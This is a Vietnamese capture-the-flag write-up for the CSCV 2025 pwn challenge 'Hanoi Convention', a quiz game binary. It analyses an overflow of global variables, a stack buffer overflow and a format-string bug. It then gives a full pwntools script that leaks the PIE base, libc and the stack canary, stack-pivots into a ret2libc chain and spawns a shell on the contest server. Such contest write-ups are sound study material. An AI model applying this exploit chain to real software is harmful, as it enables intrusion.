# CSCV 2025 Quals: Hanoi Convention ![image](https://hackmd.io/_uploads/rJRoh4MCgl.png) ## I. Recon ![image](https://hackmd.io/_uploads/S1aoTNzAgx.png) Full mitigation. Provided zip chỉ có một ELF file duy nhất, không thêm libc/docker. ![image](https://hackmd.io/_uploads/SJ38CVMCle.png) Chạy thử thì thấy báo không có file `question.json`. Dùng ida để navigate thì thấy có hàm handle việc xử lí câu hỏi ![image](https://hackmd.io/_uploads/rkodJSMRle.png) Có vẻ `question.json` chỉ tồn tại trên server, xin hỗ trợ từ btc thì ... ![image](https://hackmd.io/_uploads/rJJlyHzReg.png) Btc funni, remote thử lên server, tương tác thì thấy file `question.json` đó lưu các câu hỏi, cần thiết cho việc `start challenge` ![image](https://hackmd.io/_uploads/rkaTeSzCee.png) Sau khi test thử thì mỗi lần chơi phải trả lời đủ 10 câu hỏi, chơi 2 lần thì nhận ra bộ câu hỏi cũng na ná format -> tự create một cái file `question.json` ở local cho thuận tiện việc debug ![image](https://hackmd.io/_uploads/BkaKWBGRgl.png) ## II. Analysis Đến được đây thì mình cảm giác hàm `load_question` không có gì đặc biệt (cứ cho là nó chỉ handle việc load câu hỏi và không có bug) nên sẽ bỏ qua (rất nguy hiểm, đừng như mình) ![image](https://hackmd.io/_uploads/rkCqfBMRgx.png) ### Program có một vài hàm đáng chú ý: ![image](https://hackmd.io/_uploads/SJJafBf0gx.png) - Hàm `create` cho khởi tạo player name, cùng một số các variable khác ![image](https://hackmd.io/_uploads/Hk6WmSf0xx.png) - Hàm view show player information ![image](https://hackmd.io/_uploads/SkUB7HzAee.png) - Hàm `start_challenge` xử lí việc tương tác giữa player và 10 câu hỏi -> tính điểm, update rank, abcxyz... ![image](https://hackmd.io/_uploads/HyxamHGCle.png) - Ngoài ra còn một hàm `edit` chỉ xuất hiện khi `rank > 4`, cho phép edit information của player ### Flow chương trình có vẻ khá dể hiểu, chỉ là một game trả lời câu hỏi update rank/score cơ bản nên mình sẽ không phân tích quá chi tiết, sau đây sẽ là các bug trong bài - Bug đầu trong hàm `edit`: ```C printf("Enter new name: "); if ( fgets(s, 0x80, stdin) ) { v1 = strlen(s); if ( v1 && s[v1 - 1] == 0xA ) s[v1 - 1] = 0; strcpy(name, s); ``` `strcpy` vào `name` có thể hơn `0x50 bytes`, và ghi đè vào các variable khác ```C .bss:00000000000060E0 ; char name[64] .bss:00000000000060E0 name db 40h dup(?) ; DATA XREF: create+B0↑o .bss:00000000000060E0 ; create+15A↑o ... .bss:0000000000006120 score dd ? ; DATA XREF: create:loc_1ED9↑w .bss:0000000000006120 ; view+5D↑r ... .bss:0000000000006124 quiz_passed dd ? ; DATA XREF: create+86↑w .bss:0000000000006124 ; view+79↑r ... .bss:0000000000006128 maybe_padding dd ? ; DATA XREF: create+9A↑w .bss:0000000000006128 ; start_m+30F↑r ... .bss:000000000000612C rank dd ? ; DATA XREF: create+90↑w .bss:000000000000612C ; view+95↑r ... .bss:0000000000006130 ; char *quote .bss:0000000000006130 quote dq ? ; DATA XREF: create+149↑w .bss:0000000000006130 ; view+E8↑r .bss:0000000000006130 _bss ends .bss:0000000000006130 ``` - Bug thứ 2 nằm ở trong hàm `start_challenge`: ```C puts("\nYou have shown deep understanding and are awarded an honorary certificate!"); printf("Write your thoughts: "); v6 = read(0, buf, 0xE0uLL); if ( v6 > 0 ) { if ( buf[v6 - 1] == 10 ) buf[v6 - 1] = 0; else buf[v6] = 0; printf("Added to log: %s\n", buf); snprintf(qword_60A0, 0x40uLL, "You have reached rank %d\nYour thoughts: %s", rank, buf); } ``` ```C unsigned __int64 start_m() { int v0; // eax __int64 i; // [rsp+0h] [rbp-1C0h] int j; // [rsp+8h] [rbp-1B8h] int k; // [rsp+Ch] [rbp-1B4h] int v5; // [rsp+10h] [rbp-1B0h] ssize_t v6; // [rsp+18h] [rbp-1A8h] _DWORD v7[50]; // [rsp+20h] [rbp-1A0h] BYREF char s[8]; // [rsp+E8h] [rbp-D8h] BYREF char buf[200]; // [rsp+F0h] [rbp-D0h] BYREF unsigned __int64 v10; // [rsp+1B8h] [rbp-8h] v10 = __readfsqword(0x28u); ``` Có một stack buffer overflow ở đây, cho phép ghi đè saved `rbp` và saved `rip` Hơn nữa, việc ta có thể kiểm soát `buf`, sau đó sẽ được `snprintf` vào `qword_60A0` sẽ dẫn đến bug thứ 3 - Bug thứ 3 trong hàm `view`: ```C printf("Activity Log: "); __printf_chk(1LL, qword_60A0); putchar(10); return puts(quote); ``` Nếu kết hợp với bug 2 (control `qword_60A0`), ta sẽ được format string bug Nếu kết hợp với bug 1 (control biến `quote`), ta sẽ được arbitrary leak ## III. Exploit ### Summary - Bug 1 bof: cho phép ghi đè các variable, cần `rank > 5` - Bug 2 bof: có khả năng rce và bổ sung cho bug 3, cần `rank > 19` - Bug 3 fmtstr: có khả năng leak ### Idea - Trả lời câu hỏi chỉ cần chọn câu trả lời dài nhất là đúng (lmfao) - Dễ nhận thấy leo tận `rank 19` có vẻ bất khả thi (do điều kiện của game nên cần trả lời hơn 1000 câu hỏi) -> leo `rank 5` -> dùng bug 1 để overwrite `rank` và `score` để sang bug 2 - Đến được bug 2, dùng `buf` để tạo arbitrary format string `"%p.%p.%p...."` gán vào `qword_60A0` - Đến bug 3, dùng format string để leak. (TIPS: lúc leak thì mình nhận ra hàm `__printf_chk` có giới hạn, nó có add security check gì đó khiến mình chỉ leak được mỗi `stack` và `PIE` là stable (good enough), còn các value còn lại có thể hên xui dựa theo glibc version (thứ mà mình không có)) - Đến bug 1, overwrite `quote` variable trỏ đến GOT để leak libc (do đã có `PIE`) - Leak tầm vài lần thì tìm được libc version của server là [đây](https://libc.blukat.me/?q=puts%3Abe0%2Cread%3Aa80&l=libc6_2.39-0ubuntu8.6_amd64) và tính được libc base - Đến bug 1, overwrite `quote` variable trỏ lên stack (do đã có) để leak `canary` - Đến bug 3, chuẩn bị payload `ret2libc` ở `buf`, đồng thời bof ghi đè `rbp` và `rip` để stack pivot vào payload ### Script ```python #!/usr/bin/env python3 from pwn import * import socket import hashlib import re from multiprocessing import Pool, cpu_count def solve_pow(challenge, prefix_zeros=6): target = '0' * prefix_zeros counter = 0 print(f"[*] Solving PoW for challenge: {challenge}") print(f"[*] Target: hash starting with {prefix_zeros} zeros") while True: attempt = str(counter) hash_input = challenge + attempt hash_result = hashlib.sha256(hash_input.encode()).hexdigest() if hash_result.startswith(target): print(f"[+] Found solution: {attempt}") print(f"[+] Hash: {hash_result}") return attempt counter += 1 if counter % 100000 == 0: print(f"[*] Tried {counter} attempts... Current hash: {hash_result[:12]}...") def solve_pow_parallel(args): challenge, start, step, prefix_zeros = args target = '0' * prefix_zeros counter = start while True: attempt = str(counter) hash_input = challenge + attempt hash_result = hashlib.sha256(hash_input.encode()).hexdigest() if hash_result.startswith(target): return attempt, hash_result counter += step def solve_pow_multicore(challenge, prefix_zeros=6): num_processes = cpu_count() print(f"[*] Using {num_processes} CPU cores for parallel solving") with Pool(num_processes) as pool: args = [(challenge, i, num_processes, prefix_zeros) for i in range(num_processes)] result = pool.map_async(solve_pow_parallel, args) solutions = result.get(timeout=120) for sol in solutions: if sol: return sol[0] def connect_and_solve(challenge): prefix_zeros = 6 solution = solve_pow(challenge, prefix_zeros) sla(b"answer: ", f"{solution}".encode()) exe = ELF('./quiz_patched') libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so') context.binary = exe s = lambda a: p.send(a) sa = lambda a, b: p.sendafter(a, b) sl = lambda a: p.sendline(a) sla = lambda a, b: p.sendlineafter(a, b) lleak = lambda a, b: log.info(a + " = %#x" % b) rcu = lambda a: p.recvuntil(a) debug = lambda : gdb.attach(p, gdbscript = script) def create(name): sla(b"> ", b"1") sa(b"name: ", name) def view(): sla(b"> ", b"2") def start_m(): sla(b"> ", b"3") for x in range(10): rcu(b"--- Question") rcu(b"?\n") ans = [] res = 0 for i in range(4): ans.append(p.recvline()) for i in range(1, 4): if(len(ans[i]) > len(ans[res])): res = i sla(b"> ", f"{res + 1}".encode()) def edit(data): sla(b"> ", b"4") sla(b"name: ", data) script = ''' brva 0x20C7 brva 0x21D3 ''' p = remote("pwn4.cscv.vn", 9999) rcu(b"Challenge: ") poc = p.recvline()[:-1:] poc = poc.decode("utf-8") connect_and_solve(poc) #p = process('./quiz_patched') create(b"A" * 0x40) for i in range(10): start_m() payload = b"A" * (0x50 - 1) edit(payload) # bof and fmrstr start_m() rcu(b"thoughts: ") payload = b"%p." * (200//3) s(payload) view() # leak libc and pie rcu(b"thoughts: ") rcu(b".") rcu(b".") rcu(b".") rcu(b".") stack_leak = int(rcu(b".")[:-1:], 16) code_base = int(rcu(b".")[:-1:], 16) - 0x2987 lleak("stack_leak", stack_leak) lleak("code_base", code_base) # leak puts payload = b"A" * (0x50) puts_got = code_base + exe.got['puts'] payload += p64(puts_got) edit(payload) view() rcu(b"thoughts: ") for i in range(6): rcu(b".") rcu(b"\n") puts = u64(p.recv(6).ljust(8, b"\x00")) # leak read payload = b"A" * (0x50) read_got = code_base + exe.got['read'] payload += p64(read_got) edit(payload) view() rcu(b"thoughts: ") for i in range(6): rcu(b".") rcu(b"\n") read = u64(p.recv(6).ljust(8, b"\x00")) lleak("puts", puts) lleak("read", read) libc_base = puts - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0] pop_rdi = libc_base + 0x000000000010f78b ret = pop_rdi + 1 leave_ret = code_base + 0x0000000000001e3f #debug() # leak canary payload = b"A" * (0x50) payload += p64(stack_leak - 8 + 1) edit(payload) view() rcu(b"thoughts: ") for i in range(6): rcu(b".") rcu(b"\n") canary = (u64(p.recv(7).ljust(8, b"\x00"))) << 8 lleak("canary", canary) # rop start_m() rcu(b"thoughts: ") payload = p64(pop_rdi) + p64(binsh) + p64(system) payload = payload.ljust(0xc8, b"A") payload += p64(canary) payload += p64(stack_leak - 0x100 - 8) + p64(leave_ret) s(payload) sleep(0.5) sl(b"cat /flag") p.interactive() ``` ## IV. Appendix - Server có proof of work, cần giải hash mới được tương tác với server, thanks Tạ Quốc Hùng for help me deal with that - Việc trả lời câu hỏi rất lâu, khiến việc debug bằng gdb lẫn remote lên server rất mất thời gian (we can patch the `rank` when initalize for eaiser debug at local) - Challenge sẽ hay hơn nếu author cho `docker` + `json` file - Tricky chall ![image](https://hackmd.io/_uploads/HJhqpSfAgx.png)